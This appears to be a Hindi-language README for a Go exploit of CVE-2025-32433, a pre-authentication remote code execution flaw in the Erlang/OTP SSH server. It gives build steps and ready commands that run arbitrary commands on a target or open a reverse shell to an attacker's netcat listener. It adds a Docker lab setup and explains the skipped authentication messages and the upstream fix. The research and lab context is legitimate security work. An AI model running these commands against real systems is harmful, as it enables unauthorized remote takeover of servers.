
CVE-2025-32433 के लिए Go-आधारित एक्सप्लॉइट
CVE-2025-32433 के लिए Go-आधारित एक्सप्लॉइट जो एक रिमोट bash शेल लौटाता है।
ProDefense के CVE-2025-32433 के लिए PoC से प्राप्त एक्सप्लॉइट की समझ से भारी प्रेरित।
make
exploit.exeको क्रॉस-कंपिलेशन Makefile द्वारा Windows मशीनों के लिए भी उपलब्ध कराया गया है।
फिर एक्सप्लॉइट बाइनरी को दो तरीकों में से एक में निष्पादित करें:
कमांड
./exploit <target-ip> <target-port> "<command>"
नोट: कमांड का आउटपुट नहीं लौटाता
रिवर्स शेल
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
ProDefense के Dockerfile का उपयोग करके, आप निम्नलिखित के माध्यम से एक वातावरण सेट अप कर सकते हैं:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
फिर आप एक्सप्लॉइट चलाना अनुभाग के अनुसार एक्सप्लॉइट निष्पादित कर सकते हैं: उदाहरण के लिए
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1Docker होस्ट के लिए डिफ़ॉल्ट IP है
TL;DR "यह समस्या SSH प्रोटोकॉल मैसेज हैंडलिंग में एक खामी के कारण होती है जो एक हमलावर को प्रमाणीकरण से पहले कनेक्शन प्रोटोकॉल संदेश भेजने की अनुमति देती है,"
सामान्य SSH प्रक्रिया:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
एक्सप्लॉइट प्रक्रिया:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (पूर्व-प्रमाणीकरण)SSH_MSG_CHANNEL_REQUEST (पूर्व-प्रमाणीकरण) --> इसमें कमांड पेलोड होता हैध्यान दें कि एक्सप्लॉइट में पूरा USERAUTH भाग छोड़ दिया गया है।
SSH संदेशों के लिए प्रासंगिक RFC:


SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

स्ट्रिंग प्रारूप (RFC 4251: The Secure Shell (SSH) Protocol Architecture से)

पैडिंग

निम्नलिखित Erlang OTP Libraries में ssh: early RCE fix commit में पेश किया गया फिक्स है:

फिक्स एक नया handle_msg क्लॉज प्रस्तुत करता है जो, अपने तर्कों के अनुसार, निम्नलिखित को पकड़ता है:
Msg: किसी भी आने वाले SSH संदेश के लिए कैच-ऑल वेरिएबल जो पहले के क्लॉज (जैसे #ssh_msg_disconnect{}) से मेल नहीं खाते#ssh{authenticated = false}: सत्र स्थिति जो मेल खाती है यदि कनेक्शन अभी तक प्रमाणित नहीं हुआ है।यह क्लॉज authenticated = true वाले सत्रों को नहीं पकड़ेगा, जो सत्र में तब जुड़ता है जब सर्वर को #ssh_msg_userauth_success{} प्राप्त होता है:

जो निम्नलिखित प्रमाणीकरण विधियों में से किसी की सफलता के बाद भेजा जाता है:
